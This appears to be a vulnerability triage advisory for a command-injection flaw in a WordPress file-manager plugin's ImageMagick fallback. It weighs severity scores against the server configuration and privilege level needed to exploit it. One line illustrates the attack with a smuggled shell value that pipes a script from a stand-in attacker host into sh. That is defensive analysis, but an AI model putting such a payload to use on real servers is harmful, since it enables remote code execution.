Advanced File Manager EUVD-2026-41812

Exploitation requires three concrete conditions all being true: (1) an authenticated WordPress account with access to the plugin's image-processing feature - the CVSS vector uses PR:H, indicating a high-privilege/trusted account, though the description generically says 'authenticated users' (verify exact required role with the vendor); (2) the server must have the ImageMagick 'convert' CLI binary installed and reachable; and (3) crucially, the server must LACK both the PHP imagick extension and the PHP GD extension, forcing the plugin down the vulnerable shell-command fallback path. This third condition is the primary limiting factor - most production WordPress hosts ship with GD and/or imagick enabled, so default LAMP/LEMP stacks are typically NOT exploitable. No user interaction is required (UI:N) and the attack is over the network (AV:N), but it is not automatable (SSVC Automatable: no).

Signals are mixed and warrant nuance rather than a blanket 'critical'. The vendor CVSS 3.1 vector (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H = 9.1) reflects remote network reach and total confidentiality/integrity/availability impact with a scope change, but requires high privileges (PR:H) - i.e. an authenticated, fairly trusted user. Counterbalancing the 9.1: EPSS is only 0.52% (40th percentile), CISA SSVC rates Exploitation 'none' and Automatable 'no' (though Technical Impact 'total'), and the flaw is not in CISA KEV - so this is not evidence of widespread active exploitation despite public POC availability. Critically, exploitation depends on a non-default server configuration (ImageMagick convert present AND both imagick and GD extensions absent), which materially narrows the exploitable population. Note a tension worth flagging: the description says 'authenticated users' while the vector uses PR:H - verify with the vendor exactly which WordPress role is required, as this drives whether a low-privileged subscriber or only an admin can trigger it. Net: a genuine high-impact bug that is a priority to patch, but real-world exploitability is throttled by the server-config precondition and privilege requirement rather than being a mass-exploitation threat.

An authenticated user with access to a vulnerable file-manager plugin's image operation submits a filename or image parameter containing shell metacharacters (e.g. appending '; curl attacker.tld/x | sh'). On a server lacking the imagick and GD extensions, the plugin passes that value to the ImageMagick convert CLI, executing the attacker's commands with the web server's privileges. Public POC code exists per WPScan, so the injection technique is documented, though the attack is not automatable and requires the specific server-side ImageMagick fallback condition.